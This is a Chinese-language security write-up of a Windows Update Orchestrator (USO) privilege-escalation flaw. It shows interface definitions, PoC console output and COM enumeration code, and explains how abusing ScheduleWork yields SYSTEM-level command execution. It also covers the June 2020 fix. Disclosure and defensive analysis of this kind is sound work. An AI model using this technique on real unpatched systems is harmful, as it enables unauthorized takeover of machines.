前言
Windows Update Orchestrator Service（简称USO）是一个DCOM服务，用于管理Windows系统内其他组件下载并安装更新的过程。然而，该服务在认证调用函数时存在缺陷，使其易受权限提升攻击的影响，允许任意用户提升至本地系统权限。此漏洞影响了Windows 10和Windows Server Core产品。
漏洞分析
UniversalOrchestrator服务（9C695035-48D2-4229-8B73-4C70E756E519）由usosvc.dll实现，并以NT_AUTHORITY\SYSTEM权限运行。即使该服务的COM类枚举功能已被禁用，但IUniversalOrchestrator接口（c53f3549-0dbf-429a-8297-c812ba00742d）仍可以通过标准的COM API访问。以下是暴露的三个方法：
virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted
ScheduleWork方法可以在服务的上下文环境下设置命令执行的计划任务，无需任何认证。目标可执行文件必须具备数字签名，并位于“c:\windows\system32”或“Program Files”目录下。然而，通过命令行参数执行目标可执行文件，我们可以启动“c:\windows\system32\cmd.exe”，并以NT_AUTHORITY\SYSTEM权限执行任意代码，从而实现提权。
概念验证PoC
C:\111>whoami desktop-43rnlku\unprivileged C:\111>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ==================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled C:\111>whoami /priv C:\111>UniversalOrchestratorPrivEscPoc.exe Obtaining reference to IUniversalOrchestrator Scheduing work with id 56594 Succeeded. You may verify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.
计划任务的入口点将添加到注册表中：
指定的命令可以在无需用户交互的情况下，于夜间（约23:20）执行。
漏洞发现过程
由于无法通过OleView.NET获取USO服务的接口定义，我创建了一个脚本来遍历大量的CLSID/IID组合，发现了以下内容：
void TestUpdateOrchestratorInterfaceAgainstService(IID& clsId, const char* className, const wchar_t* iidStr, const char *interfaceName){
void *ss = NULL;
IID iid;
ThrowOnError(IIDFromString(iidStr, (LPCLSID)&iid)); // working with e at the end, failing with anything else
HRESULT res = CoCreateInstance(clsId, nullptr, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&ss);
printf("%s %s: %s\n", className, interfaceName, res == S_OK ? "WORKING" : "failure");
}
void TestUpdateOrchestratorInterface(const wchar_t* iidStr, const char *interfaceName){
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_AutomaticUpdates, "AutomaticUpdates", iidStr, interfaceName); // timeouting!
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UxUpdateManager, "UxUpdateManager", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UsoService, "UsoService", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UpdateSessionOrchestrator, "UpdateSessionOrchestrator", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UniversalOrchestrator, "UniversalOrchestrator", iidStr, interfaceName);
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_SomeService, "SomeService", iidStr, interfaceName); // timeouting!
}
...
TestUpdateOrchestratorInterface(L"{c57692f8-8f5f-47cb-9381-34329b40285a}", "IMoUsoOrchestrator");
TestUpdateOrchestratorInterface(L"{4284202d-4dc1-4c68-a21e-5c371dd92671}", "IMoUsoUpdate");
TestUpdateOrchestratorInterface(L"{c879dd73-4bd2-4b76-9dd8-3b96113a2130}", "IMoUsoUpdateCollection");
// ... and hundreds of more方法的执行结果如下：
UniversalOrchestrator IUniversalOrchestrator: WORKING UpdateSessionOrchestrator IUpdateSessionOrchestrator: WORKING UxUpdateManager IUxUpdateManager: WORKING
通过逆向工程分析上述方法，我发现了本文介绍的漏洞。
漏洞修复
微软已在2020年6月的漏洞补丁中，通过添加CoImpersonateClient API调用修复了此问题。
在部署漏洞补丁之前，方法的实现代码如下：
部署漏洞补丁后，方法的实现代码如下：
实际上，身份伪装是在处理请求的开始时完成的，因此更新注册表的API调用是在调用方的安全上下文中执行的。如果调用方没有访问HKEY_LOCAL_MACHINE的高级权限，那么USO API方法也将无法被执行。
参考文档
